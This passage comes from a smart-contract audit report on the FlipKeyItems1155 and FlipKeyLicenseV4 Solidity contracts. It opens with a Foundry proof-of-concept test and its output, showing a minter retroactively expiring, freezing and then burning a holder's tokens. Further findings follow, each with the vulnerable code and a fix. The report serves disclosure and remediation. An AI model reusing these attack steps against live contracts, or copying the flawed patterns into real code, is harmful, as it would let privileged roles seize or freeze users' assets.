    //   mint must never retroactively freeze existing holders' balances.
    vm.prank(relayer);
    vm.expectRevert(abi.encodeWithSelector(FlipKeyItems1155.SoulboundConflict.selector,
    TOKEN_ID));
    items.mintSoulbound(sink, TOKEN_ID, 1, 0);

    // — The expiry flag has no such guard. The same minter, same circulating
    //   type, one dust mint – and the whole type now has a deadline.
    uint256 expiresAt = block.timestamp + 1 days;
    vm.prank(relayer);
    items.mintWithExpiry(sink, TOKEN_ID, 1, expiresAt);

    assertEquals(items.expiration(TOKEN_ID), expiresAt, "expiry was attached to the live type");

    console.log("--- after a 1-unit mint by MINTER_ROLE ---");
    console.log("expiration(TOKEN_ID)           :", items.expiration(TOKEN_ID));
    console.log("bob balance (untouched)         :", items.balanceOf(bob, TOKEN_ID));

    // — The deadline arrives. Bob did nothing and consented to nothing.
    vm.warp(expiresAt);
    assertTrue(items.isExpired(TOKEN_ID), "type is now expired");

    // — Bob cannot sell. His position is frozen for good.
    vm.prank(bob);
    vm.expectRevert(abi.encodeWithSelector(FlipKeyItems1155.TokenExpired.selector, TOKEN_ID));
    items.safeTransferFrom(bob, carol, TOKEN_ID, AMOUNT, "");

    assertEquals(items.balanceOf(bob, TOKEN_ID), AMOUNT, "bob still holds a position he cannot
move");
    assertEquals(items.balanceOf(carol, TOKEN_ID), 0, "the sale never happened");

    console.log("--- past the retroactive deadline ---");
    console.log("isExpired                       :", items.isExpired(TOKEN_ID));

```

```

        console.log("bob balance", items.balanceOf(bob, TOKEN_ID));
        console.log("bob can transfer?", items.canTransfer(bob, TOKEN_ID, AMOUNT));

        // — Under the DEFAULT burn policy (AdminOnly) his balance is now
        //   destroyable without his involvement.
        vm.prank(admin);
        items.burnExpired(TOKEN_ID, bob, AMOUNT);

        assertEq(items.balanceOf(bob, TOKEN_ID), 0, "bob's position was burned out from under
him");

        console.log("--- after burnExpired under the default AdminOnly policy ---");
        console.log("bob balance", items.balanceOf(bob, TOKEN_ID));
        console.log("totalSupply", items.totalSupply(TOKEN_ID));
    }
}

```

Run with `FOUNDRY_PROFILE=poc` `forge test --match-path "POC/RetroactiveExpiryFreezesCirculatingHolders.t.sol" -vv:`

```

[PASS] test_minterRetroactivelyExpiresACirculatingPerpetualType() (gas: 185444)
--- bob buys a type the contract says never expires ---
expiration(TOKEN_ID)      : 0
bob balance                : 100
--- after a 1-unit mint by MINTER_ROLE ---
expiration(TOKEN_ID)      : 1700086400
bob balance (untouched)   : 100
--- past the retroactive deadline ---
isExpired                  : true
bob balance                : 100
bob can transfer?         : false
--- after burnExpired under the default AdminOnly policy ---
bob balance                : 0
totalSupply                : 1

```

Recommendations

Apply the soulbound path's rule to expiry: a mint may establish an expiry only while the type has no supply. Changing a live type's expiry stays available to admin through the existing `setExpiration()`.

```

function _applyExpiry(uint256 tokenId, uint256 expiresAt_) private {
    if (expiresAt_ == 0) return;
    if (expiresAt_ <= block.timestamp) revert InvalidExpiration();
    uint256 existing = _expiresAt[tokenId];
    if (existing == 0) {
+       // A mint must never retroactively expire existing holders' balances.
+       if (totalSupply(tokenId) != 0) revert ExpirationConflict(tokenId, 0, expiresAt_);
        _expiresAt[tokenId] = expiresAt_;
        emit ExpirationSet(tokenId, expiresAt_);
    } else if (existing != expiresAt_) {
        revert ExpirationConflict(tokenId, existing, expiresAt_);
    }
}

```


[M-04] FlipKeyItems1155.sol :: a transfer lock that outlives the type's expiry leaves the token permanently non-transferable

Description

`mintTransferLocked()` is the tradable mint path, its documentation promises a token the recipient "cannot transfer until `unlockAt_`. After that timestamp it trades freely." Two independent guards in the transfer hook decide whether that promise holds:

```
if (isExpired(ids[i])) revert TokenExpired(ids[i]);           // block.timestamp >= expiresAt
if (isTransferLocked(ids[i], from))                          // block.timestamp < unlockAt
    revert TokenTransferLocked(ids[i], _transferUnlockAt[ids[i]][from]);
```

A transfer therefore requires `unlockAt <= block.timestamp < expiresAt`. The token is tradable only inside the window `[unlockAt, expiresAt)`, and nothing ensures that window is non-empty. `_applyExpiry()` validates only that `expiresAt_` lies in the future; the lock write validates nothing at all:

```
_applyExpiry(tokenId, expiresAt_);
_mint(to, tokenId, amount, "");
if (unlockAt_ > _transferUnlockAt[tokenId][to]) {
    _transferUnlockAt[tokenId][to] = unlockAt_;
    emit TransferLockSet(tokenId, to, unlockAt_);
}
```

When `unlockAt_ >= expiresAt_` the window is empty. The token is locked until a moment at which it has already expired, and expired types are never transferable, so the recipient holds a balance minted through the path advertised as tradeable that cannot be sold at any point in its life.

Recommendations

Reject the empty window at mint time, once `_applyExpiry()` has resolved the type's effective expiry:

```
error TokenSoulbound(uint256 tokenId);
error TokenTransferLocked(uint256 tokenId, uint256 unlockAt);
+error UnlockAfterExpiry(uint256 tokenId, uint256 unlockAt, uint256 expiresAt);
error InsufficientBalance(uint256 tokenId);
```

```
function mintTransferLocked(
    address to,
    uint256 tokenId,
    uint256 amount,
    uint256 unlockAt_,
    uint256 expiresAt_
) external onlyRole(MINTER_ROLE) {
    if (_soulbound[tokenId]) revert TokenSoulbound(tokenId);
    _applyExpiry(tokenId, expiresAt_);
+
+    uint256 exp = _expiresAt[tokenId];
+    if (unlockAt_ != 0 && exp != 0 && unlockAt_ >= exp)
+        revert UnlockAfterExpiry(tokenId, unlockAt_, exp);
+
    _mint(to, tokenId, amount, "");
    if (unlockAt_ > _transferUnlockAt[tokenId][to]) {
        _transferUnlockAt[tokenId][to] = unlockAt_;
        emit TransferLockSet(tokenId, to, unlockAt_);
    }
}
```

8.4 Low Findings

[L-01] FlipKeyItems1155.sol :: missing zero amount guard lets anyone forge burn and redemption events

Description

`burnExpired()` lets any address emit burn events for tokens it has never held. Under `ExpiredBurnPolicy.Anyone` the only caller check is `msg.sender != holder`, which the caller satisfies by passing its own address.

```
function burnExpired(uint256 tokenId, address holder, uint256 amount) external {
    if (!isExpired(tokenId)) revert TokenNotExpired(tokenId);

    ExpiredBurnPolicy policy = expiredBurnPolicy;
    if (policy == ExpiredBurnPolicy.Disabled) revert BurnNotAllowed();
    if (policy == ExpiredBurnPolicy.AdminOnly && !hasRole(DEFAULT_ADMIN_ROLE, msg.sender))
        revert BurnNotAllowed();
    if (policy == ExpiredBurnPolicy.Anyone && msg.sender != holder)
        revert BurnNotAllowed();

    _burn(holder, tokenId, amount);
    emit ExpiredBurned(tokenId, msg.sender, amount);
}
```

Nothing afterwards checks that the caller owns anything. The only balance check is OpenZeppelin's `require(fromBalance >= amount)` inside `_burn`, and `0 >= 0` passes against a zero balance. Calling `burnExpired(tokenId, msg.sender, 0)` therefore succeeds, changes no state, and emits two logs: the ERC-1155 `TransferSingle(operator, from, address(0), id, 0)` that indexers read as a burn, and the protocol's `ExpiredBurned`.

The token type does not need to exist either. `setExpiration()` never checks existence, so once an expiry is registered for an unminted id, that id is permanently forgeable by anyone despite having zero supply.

`activate()` has the same missing guard, with no expiry requirement and no policy gate at all, so `Activated` is forgeable for any id at any time:

```
function activate(uint256 tokenId, uint256 amount) external {
    if (balanceOf(msg.sender, tokenId) < amount) revert InsufficientBalance(tokenId);
    _burn(msg.sender, tokenId, amount);
    emit Activated(tokenId, msg.sender, amount);
}
```

`redeemBurn()` repeats it a third time, and is the worst of the three because the event names a `holder` the caller chooses rather than the caller itself:

```
function redeemBurn(address holder, uint256 tokenId, uint256 amount) external
onlyRole(REDEEMER_ROLE) {
    if (balanceOf(holder, tokenId) < amount) revert InsufficientBalance(tokenId);
    _burn(holder, tokenId, amount);
    emit Activated(tokenId, holder, amount);
}
```

With `amount = 0` the balance check passes for any address, so a redeemer emits `Activated(tokenId, holder, 0)` naming an arbitrary holder who never redeemed anything and holds nothing.

The impact is off-chain: subgraphs, analytics, supply dashboards, and any redemption reconciliation keyed on these events record burns and activations that never happened, attributed to attacker chosen addresses.

Recommendations

Reject zero amount burns in every verb that emits a burn event.

```
+   error ZeroAmount();
+
+   function burnExpired(uint256 tokenId, address holder, uint256 amount) external {
+       if (amount == 0) revert ZeroAmount();
+       if (!isExpired(tokenId)) revert TokenNotExpired(tokenId);
```

```
       function activate(uint256 tokenId, uint256 amount) external {
+           if (amount == 0) revert ZeroAmount();
+           if (balanceOf(msg.sender, tokenId) < amount) revert InsufficientBalance(tokenId);
```

```
       function redeemBurn(address holder, uint256 tokenId, uint256 amount) external
onlyRole(REDEEMER_ROLE) {
+           if (amount == 0) revert ZeroAmount();
+           if (balanceOf(holder, tokenId) < amount) revert InsufficientBalance(tokenId);
```

[L-02] FlipKeyItems1155.sol :: an already expired token type can still be minted

Description

`_applyExpiry()` rejects a timestamp in the past, but only when the caller supplies one:

```
function _applyExpiry(uint256 tokenId, uint256 expiresAt_) private {
    if (expiresAt_ == 0) return;
    if (expiresAt_ <= block.timestamp) revert InvalidExpiration();
    ...
}
```

Nothing checks whether the *type* has already expired. Once `_expiresAt[tokenId]` is in the past, a mint passing `expiresAt_ = 0` returns on the first line and proceeds to `_mint`. The transfer guard does not catch it either, because minting is exempt:

```
// Allow minting and burning
if (from != address(0) && to != address(0)) {
    ...
    if (isExpired(ids[i])) revert TokenExpired(ids[i]);
}
```

The recipient receives tokens for which `isExpired(tokenId)` is already true at mint time, which costs them two properties a normal balance has. Every transfer reverts with `TokenExpired`, so the balance is non-transferable from birth. And because `burnExpired()` is gated only on the type being expired, the balance qualifies for the expiry sweep immediately.

Recommendations

Refuse to mint into an expired type using `_applyExpiry()`.

```
function _applyExpiry(uint256 tokenId, uint256 expiresAt_) private {
+   if (isExpired(tokenId)) revert TokenExpired(tokenId);
    if (expiresAt_ == 0) return;
    if (expiresAt_ <= block.timestamp) revert InvalidExpiration();
    uint256 existing = _expiresAt[tokenId];
}
```

[L-03] FlipKeyItems1155.sol :: zero amount mints emit phantom mint events and permanently bind the type's expiry

Description

`mintWithExpiry()` never checks that `amount` is non-zero:

```
function mintWithExpiry(
    address to,
    uint256 tokenId,
    uint256 amount,
    uint256 expiresAt_
) external onlyRole(MINTER_ROLE) {
    if (_soulbound[tokenId]) revert TokenSoulbound(tokenId);
    _applyExpiry(tokenId, expiresAt_);
    _mint(to, tokenId, amount, "");
}
```

OpenZeppelin's `_mint` has no zero guard either, so `amount = 0` succeeds and emits `TransferSingle(operator, address(0), to, id, 0)`, the log every indexer reads as a mint, while `totalSupply` stays flat. Off-chain consumers record an issuance that never happened and may list `to` as a holder of nothing.

The larger effect is the ordering: `_applyExpiry()` runs before the mint, and it is write-once.

```
uint256 existing = _expiresAt[tokenId];
if (existing == 0) {
    _expiresAt[tokenId] = expiresAt_;
    emit ExpirationSet(tokenId, expiresAt_);
} else if (existing != expiresAt_) {
    revert ExpirationConflict(tokenId, existing, expiresAt_);
}
```

A zero-amount call therefore permanently binds an expiry to a token type that was never issued. Every later mint of that type carrying a different non-zero expiry reverts with `ExpirationConflict`, so a single mistaken or malformed call, a bad off-chain amount, a truncated field, silently locks the type to the wrong deadline with no supply to show for it. Recovery needs `setExpiration()`, which is `DEFAULT_ADMIN_ROLE`, not the minter's own role.

`batchMintWithExpiry()` has the same defect with a wider blast radius, because the expiry loop completes for every `id` before any minting occurs:

```
for (uint256 i = 0; i < tokenIds.length; i++) {
    if (_soulbound[tokenIds[i]]) revert TokenSoulbound(tokenIds[i]);
    _applyExpiry(tokenIds[i], expirations[i]);
}
_mintBatch(to, tokenIds, amounts, "");
```

One zero entry in `amounts` still writes and emits the expiry for its `id`, so a partially zeroed batch binds expiries for types it never mints.

`mintTransferLocked()` adds a second irreversible write on the same zero amount call: after `_applyExpiry` it records `_transferUnlockAt[tokenId][to]` and emits `TransferLockSet` for a holder that received nothing. Because the lock only ever extends (`if (unlockAt_ > _transferUnlockAt[tokenId][to])`), a zero amount call with a distant `unlockAt_` pre-locks that (`id`, `holder`) pair, real tokens minted to that holder afterwards are frozen until that timestamp, clearable only by admin `setTransferUnlock()`.

`mintSoulbound()` is the most damaging. When the type is not yet soulbound it flips the flag permanently before minting:

```

if (!_soulbound[tokenId]) {
    if (totalSupply(tokenId) != 0) revert SoulboundConflict(tokenId);
    _soulbound[tokenId] = true;
    emit SoulboundSet(tokenId, true);
}

```

With `amount = 0` the `id` becomes soulbound with zero supply, after which `mintWithExpiry()` and `mintTransferLocked()` revert on it with `TokenSoulbound` forever. The mint bricks the `id` for tradable issuance, and only admin `setSoulbound()` restores it.

Recommendations

Reject zero amounts before any state is written.

```

+   error ZeroAmount();
+
function mintWithExpiry(
    address to,
    uint256 tokenId,
    uint256 amount,
    uint256 expiresAt_
) external onlyRole(MINTER_ROLE) {
+   if (amount == 0) revert ZeroAmount();
    if (_soulbound[tokenId]) revert TokenSoulbound(tokenId);
    _applyExpiry(tokenId, expiresAt_);
    _mint(to, tokenId, amount, "");
}

```

```

function batchMintWithExpiry(
    address to,
    uint256[] calldata tokenIds,
    uint256[] calldata amounts,
    uint256[] calldata expirations
) external onlyRole(MINTER_ROLE) {
    require(
        tokenIds.length == amounts.length && amounts.length == expirations.length,
        "Length mismatch"
    );
+   for (uint256 i = 0; i < tokenIds.length; i++) {
        if (amounts[i] == 0) revert ZeroAmount();
        if (_soulbound[tokenIds[i]]) revert TokenSoulbound(tokenIds[i]);
        _applyExpiry(tokenIds[i], expirations[i]);
    }
    _mintBatch(to, tokenIds, amounts, "");
}

```

The same guard belongs at the top of `mintTransferLocked()` and `mintSoulbound()`, before their expiry, lock, and soulbound writes:

```

function mintTransferLocked(
    address to,
    uint256 tokenId,
    uint256 amount,
    uint256 unlockAt_,
    uint256 expiresAt_
) external onlyRole(MINTER_ROLE) {
+   if (amount == 0) revert ZeroAmount();
    if (_soulbound[tokenId]) revert TokenSoulbound(tokenId);
    _applyExpiry(tokenId, expiresAt_);
    _mint(to, tokenId, amount, "");
    if (unlockAt_ > _transferUnlockAt[tokenId][to]) {
        _transferUnlockAt[tokenId][to] = unlockAt_;
        emit TransferLockSet(tokenId, to, unlockAt_);
    }
}

```

```
}  
}
```

```
function mintSoulbound(  
    address to,  
    uint256 tokenId,  
    uint256 amount,  
    uint256 expiresAt_  
) external onlyRole(MINTER_ROLE) {  
+    if (amount == 0) revert ZeroAmount();  
    if (!_soulbound[tokenId]) {  
        if (totalSupply(tokenId) != 0) revert SoulboundConflict(tokenId);  
        _soulbound[tokenId] = true;  
        emit SoulboundSet(tokenId, true);  
    }  
    _applyExpiry(tokenId, expiresAt_);  
    _mint(to, tokenId, amount, "");  
}
```

[L-04] FlipKeyItems1155.sol :: royalty fee numerator is unbounded, allowing royalties up to 100%

Description

`setDefaultRoyaltyReceiver()` and `setNFTRoyaltyReceiver()` pass `feeNumerator` directly to the ERC2981 internal setters without an upper bound.

```
function setDefaultRoyaltyReceiver(
    address receiver,
    uint96 feeNumerator
) external onlyRole(DEFAULT_ADMIN_ROLE) {
    _setDefaultRoyalty(receiver, feeNumerator);
}

function setNFTRoyaltyReceiver(
    uint256 tokenId,
    address receiver,
    uint96 feeNumerator
) external onlyRole(DEFAULT_ADMIN_ROLE) {
    _setTokenRoyalty(tokenId, receiver, feeNumerator);
}
```

OpenZeppelin's ERC2981 only rejects values above the fee denominator (10000), so a compromised or malicious admin can set royalties up to 100%, redirecting the entire secondary-sale proceeds to the royalty receiver on marketplaces that honor `royaltyInfo()`. The same applies to `setNFTRoyaltyReceiverBatch()`, which uses the same code path.

Recommendations

Cap `feeNumerator` at a reasonable maximum (e.g. 10%).

```
+  uint96 public constant MAX_ROYALTY_FEE = 1000; // 10%
+
+  error RoyaltyFeeTooHigh();
+
function setDefaultRoyaltyReceiver(
    address receiver,
    uint96 feeNumerator
) external onlyRole(DEFAULT_ADMIN_ROLE) {
+  if (feeNumerator > MAX_ROYALTY_FEE) revert RoyaltyFeeTooHigh();
    _setDefaultRoyalty(receiver, feeNumerator);
}

function setNFTRoyaltyReceiver(
    uint256 tokenId,
    address receiver,
    uint96 feeNumerator
) external onlyRole(DEFAULT_ADMIN_ROLE) {
+  if (feeNumerator > MAX_ROYALTY_FEE) revert RoyaltyFeeTooHigh();
    _setTokenRoyalty(tokenId, receiver, feeNumerator);
}

function setNFTRoyaltyReceiverBatch(
    uint256[] calldata tokenIds,
    address receiver,
    uint96 feeNumerator
) external onlyRole(DEFAULT_ADMIN_ROLE) {
+  if (feeNumerator > MAX_ROYALTY_FEE) revert RoyaltyFeeTooHigh();
    for (uint256 i = 0; i < tokenIds.length; i++) {
        _setTokenRoyalty(tokenIds[i], receiver, feeNumerator);
    }
}
```



```
    }  
}
```

Fixed: cap implemented at 15%; deployment runs at 10%

[L-05] FlipKeyLicenseV4.sol :: per-token royalty overrides can never be reset to follow the default royalty

Description

Both `FlipKeyLicenseV4` and `FlipKeyItems1155` expose setters for the default and per-token royalty, but not OpenZeppelin's `_resetTokenRoyalty()`. In ERC2981, "no per-token entry" is encoded as a zero receiver, that is the only condition under which a token falls back to the default:

```
function royaltyInfo(uint256 tokenId, uint256 salePrice) public view virtual override returns
(address, uint256) {
    RoyaltyInfo memory royalty = _tokenRoyaltyInfo[tokenId];

    if (royalty.receiver == address(0)) {
        royalty = _defaultRoyaltyInfo;
    }
    ...
}
```

Since `_setTokenRoyalty()` reverts on a zero receiver and no reset path exists, the first call to `setTokenRoyalty()` / `setNFTRoyaltyReceiver()` for a token id permanently detaches that id from the default. Its values can be overwritten, but the id can never resume tracking the default.

If the default receiver is later rotated (e.g. a new `RoyaltySplitter` is deployed and set via `setDefaultRoyalty()`), every id with a per-token entry silently keeps paying the old receiver until each is re-pointed individually. `FlipKeyItems1155` at least has `setNFTRoyaltyReceiverBatch()` for this; `FlipKeyLicenseV4` only has the single id `setTokenRoyalty()`, making cleanup one transaction per id.

Recommendations

Expose an admin-gated reset in both contracts.

```
// FlipKeyLicenseV4
+ function resetTokenRoyalty(uint256 tokenId) external onlyRole(DEFAULT_ADMIN_ROLE) {
+     _resetTokenRoyalty(tokenId);
+ }

// FlipKeyItems1155
+ function resetNFTRoyalty(uint256 tokenId) external onlyRole(DEFAULT_ADMIN_ROLE) {
+     _resetTokenRoyalty(tokenId);
+ }
```

[L-06] FlipKeyItems1155.sol :: a one unit mint freezes the recipient's entire pre-existing balance

Description

The transfer lock is stored once per `(tokenId, holder)`, and the transfer hook reads that single slot to gate the holder's whole balance of the type:

```
mapping(uint256 => mapping(address => uint256)) private _transferUnlockAt;

function isTransferLocked(uint256 tokenId, address holder) public view returns (bool) {
    uint256 u = _transferUnlockAt[tokenId][holder];
    return u != 0 && block.timestamp < u;
}
```

`mintTransferLocked()` writes that slot for whoever it mints to, without regard to what the recipient already holds:

```
function mintTransferLocked(
    address to,
    uint256 tokenId,
    uint256 amount,
    uint256 unlockAt_,
    uint256 expiresAt_
) external onlyRole(MINTER_ROLE) {
    if (_soulbound[tokenId]) revert TokenSoulbound(tokenId);
    _applyExpiry(tokenId, expiresAt_);
    _mint(to, tokenId, amount, "");
    if (unlockAt_ > _transferUnlockAt[tokenId][to]) { // <-- one slot, whole balance
        _transferUnlockAt[tokenId][to] = unlockAt_;
        emit TransferLockSet(tokenId, to, unlockAt_);
    }
}
```

The lock covering the whole balance is intentional for the add-on path this function was built for, where the recipient's position is what the mint creates. It stops being conservative once the recipient already holds units of that type.

A holder who bought 100 tradable units and is then minted one more with `unlockAt_ = type(uint256).max` has all 101 frozen. The minter never moved or burned anything it overwrote the one flag that governs the existing position, and only `setTransferUnlock()` (admin) can clear it.

This contradicts the trust boundary in `docs/audit-actors-threat-model.md`: *"a compromised MINTER must not be able to move or burn existing holders' tokens."* Minting to a victim costs one dust unit and reaches their whole holding of that `id`.

The lock path is independent of the type's expiry, so passing `expiresAt_ = 0` leaves `_applyExpiry()` and any expiry-based guard untouched.

Recommendations

Write the lock only onto a position the mint creates, or extend one that is already locked, never onto an unlocked balance the recipient already holds. The check must read `balanceOf` before `_mint` so it does not observe the units being minted.

```
error TokenSoulbound(uint256 tokenId);
+error LockWouldFreezeExistingBalance(uint256 tokenId, address holder);
```

```
function mintTransferLocked(
    address to,
```

```
uint256 tokenId,
uint256 amount,
uint256 unlockAt_,
uint256 expiresAt_
) external onlyRole(MINTER_ROLE) {
    if (_soulbound[tokenId]) revert TokenSoulbound(tokenId);
    _applyExpiry(tokenId, expiresAt_);
+
+    // The lock covers the holder's whole balance of the type, so it may only be
+    // written onto a position this mint creates, or extended on one already locked.
+    if (unlockAt_ != 0 && balanceOf(to, tokenId) != 0 && !isTransferLocked(tokenId, to))
+        revert LockWouldFreezeExistingBalance(tokenId, to);
+
    _mint(to, tokenId, amount, "");
    if (unlockAt_ > _transferUnlockAt[tokenId][to]) {
        _transferUnlockAt[tokenId][to] = unlockAt_;
        emit TransferLockSet(tokenId, to, unlockAt_);
    }
}
```

[L-07] FlipKeyLicenseV4.sol :: activation with zero grace hours closes the refund window it is supposed to open

Description

`activate()` bounds the grace window from above only:

```
if (graceHours > MAX_GRACE_HOURS) revert GraceTooLong(graceHours);
if (tokenState[tokenId] != State.HELD)
    revert WrongState(tokenId, tokenState[tokenId], State.HELD);
...
graceUntil[tokenId] = block.timestamp + (graceHours * 3600);
```

`MAX_GRACE_HOURS` exists to catch a caller typo, as the constant's own comment states. A typo in the other direction is unbounded: `graceHours = 0` passes the check and sets `graceUntil == block.timestamp`.

Every consumer of that value reads the same comparison, and one second later they all resolve against the buyer:

```
// refundActivated and cancelActivation
if (block.timestamp > graceUntil[tokenId]) revert GraceExpired(tokenId);

// finalizeBurn
if (block.timestamp <= graceUntil[tokenId]) revert GraceNotExpired(tokenId);
```

From the next block onward the buyer's `cancelActivation()` reverts, the backend's `refundActivated()` reverts, and `finalizeBurn()` succeeds for any unprivileged caller. The token reaches `FINALIZED` without a `RefundExecuted` event ever firing, so the off-chain listener that returns the buyer's USDC is never triggered.

This voids the decentralization promise the contract states at the top of the file, that a holder can burn their own token from a block explorer inside the grace window even if FlipKey is offline. The window is already shut when `activate()` returns.

The threat model trusts `ACTIVATOR_ROLE` to "mark a license *ACTIVATED* after key delivery is confirmed". `graceHours` is not part of that verb: it sets the buyer's refund rights, and `0` removes them entirely. A parameter that governs buyer protection should not be decided by the role that reports fulfillment.

Recommendations

Bound the window from below as well, so the buyer protection period is a contract guarantee rather than a per-call argument.

```
error GraceTooLong(uint256 graceHours);
+error GraceTooShort(uint256 graceHours);
```

```
uint256 public constant MAX_GRACE_HOURS = 720;
+uint256 public constant MIN_GRACE_HOURS = 24;
```

```
function activate(uint256 tokenId, address holder, uint256 graceHours, bytes32
deliveryCommitment_)
    external
    onlyRole(ACTIVATOR_ROLE)
    whenNotPaused
{
+   if (graceHours < MIN_GRACE_HOURS) revert GraceTooShort(graceHours);
+   if (graceHours > MAX_GRACE_HOURS) revert GraceTooLong(graceHours);
```

8.5 Informational Findings

[I-01] FlipKeyLicenseV4.sol :: the contract metadata variable is spelled `_contractURI` in one contract and `_contractUri` in the other

Description

Both contracts expose an identical external surface, `contractURI()`, `setContractURI(string)`, `setBaseURI(string)`, so this is internal only and no integrator ever sees it. Behind those functions the two files disagree on how to case the acronym:

```
// FlipKeyItems1155.sol
string private _contractURI;

function setContractURI(string memory contractURI_) external onlyRole(DEFAULT_ADMIN_ROLE) {
    _contractURI = contractURI_;
}
```

```
// FlipKeyLicenseV4.sol
string private _contractUri;

function setContractURI(string memory contractUri_) external onlyRole(DEFAULT_ADMIN_ROLE) {
    _contractUri = contractUri_;
}
```

The License contract is also inconsistent with itself: `setContractURI(string memory contractUri_)` carries both spellings inside a single signature, as does `setBaseURI(string memory baseUri_)`.

There is no behavioural impact. The cost is review and maintenance friction across a two contract codebase that is otherwise deliberately parallel; a grep for `_contractURI` silently misses one of the two collections, and a reader moving between the files has to notice that two differently spelled identifiers are the same concept.

Recommendations

Standardise on `URI`, which is what the function names in both contracts already use and what OpenZeppelin uses in `uri()` / `_setURI()`. Only the License side changes:

```
- string private _contractUri;
+ string private _contractURI;
```

```
- string memory contractUri_,
+ string memory contractURI_,
```

```
- _contractUri = contractUri_;
+ _contractURI = contractURI_;
```

```
- function setContractURI(string memory contractUri_) external onlyRole(DEFAULT_ADMIN_ROLE) {
-     _contractUri = contractUri_;
+ function setContractURI(string memory contractURI_) external onlyRole(DEFAULT_ADMIN_ROLE) {
+     _contractURI = contractURI_;
}
```

[I-02] FlipKeyLicenseV4.sol :: license initialization does not follow the CEI

Description

`_mintOne()` invokes `_mint()` which triggers the `onERC1155Received` acceptance callback on contract recipients before it records `tokenState`, `mintedTo`, and `holdDeadline`.

A contract recipient can therefore receive the callback while its balance has been credited but the license lifecycle still appears as `State.NONE` with uninitialized holder and deadline metadata.

The `nonReentrant` modifiers on `mint()` and `batchMint()` block re-entry into the mint entry points, but they do not make the lifecycle metadata visible during the callback.

```
function _mintOne(address to, uint256 tokenId, uint256 holdDeadline_) internal {
    if (tokenState[tokenId] != State.NONE) revert TokenAlreadyMinted(tokenId);
    if (holdDeadline_ != 0 && holdDeadline_ <= block.timestamp) revert
InvalidHoldDeadline(holdDeadline_);
    _mint(to, tokenId, 1, "");
    tokenState[tokenId] = State.HELD;
    mintedTo[tokenId] = to;
    holdDeadline[tokenId] = holdDeadline_;
    emit Minted(tokenId, to, holdDeadline_);
}
```

Recommendations

Apply the CEI pattern: record the lifecycle state and emit the event first, then perform the external `safemint` call last. This also makes the `TokenAlreadyMinted` guard effective during callbacks.

```
function _mintOne(address to, uint256 tokenId, uint256 holdDeadline_) internal {
    if (tokenState[tokenId] != State.NONE) revert TokenAlreadyMinted(tokenId);
    if (holdDeadline_ != 0 && holdDeadline_ <= block.timestamp) revert
InvalidHoldDeadline(holdDeadline_);
-   _mint(to, tokenId, 1, "");
    tokenState[tokenId] = State.HELD;
    mintedTo[tokenId] = to;
    holdDeadline[tokenId] = holdDeadline_;
    emit Minted(tokenId, to, holdDeadline_);
+   _mint(to, tokenId, 1, "");
}
```

[I-03] FlipKeyLicenseV4.sol :: compromised REFUND_ADMIN can burn ACTIVATED licenses, violating the documented trust bound

Description

The threat model (`docs/audit-actors-threat-model.md`) scopes `REFUND_ADMIN_ROLE` to "pre-activation refunds on a buyer's signed off-chain authorization" and states explicitly:

a compromised REFUND_ADMIN must not be able to refund an ACTIVATED license

The code contradicts this. `disputeRefund()` accepts `ACTIVATED` tokens and burns them on the role's sole authority.

```
function disputeRefund(uint256 tokenId, address holder) external onlyRole(REFUND_ADMIN_ROLE) {
    State s = tokenState[tokenId];
    if (s != State.HELD && s != State.ACTIVATED)
        revert InvalidRefundState(tokenId, s);
    ...
    _burn(holder, tokenId, 1);
    tokenState[tokenId] = State.REFUNDED;
```

Recommendations

One possible solution would be to require explicit holder approval before burning an `ACTIVATED` license. For example, if the license is in the `ACTIVATED` state, the holder could call a function that explicitly authorizes the admin to burn it.

[I-04] FlipKeyItems1155.sol :: length checks revert with a require string instead of the contract's custom error style

Description

FlipKeyItems1155 declares ten custom errors and uses them for every failure except two, which fall back to a require string:

```
// batchMintWithExpiry
require(
    tokenIds.length == amounts.length && amounts.length == expirations.length,
    "Length mismatch"
);

// batchSetAttributes
require(keys.length == values.length, "Length mismatch");
```

The license contract in the same scope raises the identical condition as a typed error:

```
if (len != tokenIds.length || len != holdDeadlines_.length) revert LengthMismatch();
```

An off-chain caller decoding a revert from the two contracts therefore has to handle two encodings for one failure, a 4-byte selector in one and an ABI-encoded `Error(string)` in the other. Custom errors are also cheaper to deploy and to revert with.

Recommendations

Declare `LengthMismatch` alongside the existing errors and use it in both functions.

```
error OperatorNotAllowed(address operator);
error LengthMismatch();
```

```
function batchMintWithExpiry(
    address to,
    uint256[] calldata tokenIds,
    uint256[] calldata amounts,
    uint256[] calldata expirations
) external onlyRole(MINTER_ROLE) {
    require(
        tokenIds.length == amounts.length && amounts.length == expirations.length,
        "Length mismatch"
    );
    if (tokenIds.length != amounts.length || amounts.length != expirations.length)
        revert LengthMismatch();
    for (uint256 i = 0; i < tokenIds.length; i++) {
        if (_soulbound[tokenIds[i]]) revert TokenSoulbound(tokenIds[i]);
        _applyExpiry(tokenIds[i], expirations[i]);
    }
    _mintBatch(to, tokenIds, amounts, "");
}
```

```
function batchSetAttributes(
    uint256 tokenId,
    bytes32[] calldata keys,
    uint256[] calldata values
) external onlyRole(MINTER_ROLE) {
    require(keys.length == values.length, "Length mismatch");
    if (keys.length != values.length) revert LengthMismatch();
    for (uint256 i = 0; i < keys.length; i++) {
        _attributes[tokenId][keys[i]] = values[i];
        emit AttributeSet(tokenId, keys[i], values[i]);
    }
}
```

	}
}	

Addendum — Findings identified during the mitigation review

The following two issues were identified after the mitigation commit this report pins (`5aaf8fa...`), during review of the remediation. Both were subsequently remediated in the follow-up package (`sha256 06f316ae...`). The **Findings Count** and **Audit Findings Summary** below supersede the counts in Section 7 and 8.

Updated Findings Count

Severity	Amount
Critical	3
High	1
Medium	4
Low	8
Informational	5
Total Findings	21

Additional Findings Summary

ID	Title	Severity	Status
L-08	FlipKeyLicenseV4.sol :: omits the zero-address DEFAULT_ADMIN guard that FlipKeyItems1155 has	Low	Fixed
I-05	mutation-test.js :: integrity check compares against git HEAD, so it false-alarms on any uncommitted change	Info	Fixed

Low Findings (continued)

[L-08] FlipKeyLicenseV4.sol :: omits the zero-address `DEFAULT_ADMIN_ROLE` guard that `FlipKeyItems1155` has

Description

`FlipKeyLicenseV4` guards the last admin in `_revokeRole`, but the guard counts role members, and the contract does not also refuse a zero-address `DEFAULT_ADMIN_ROLE` grant the way `FlipKeyItems1155` does.

```
function _revokeRole(bytes32 role, address account) internal virtual override {
    if (
        role == DEFAULT_ADMIN_ROLE &&
        hasRole(DEFAULT_ADMIN_ROLE, account) &&
        getRoleMemberCount(DEFAULT_ADMIN_ROLE) == 1
    ) revert CannotRemoveLastAdmin();
    super._revokeRole(role, account);
}
```

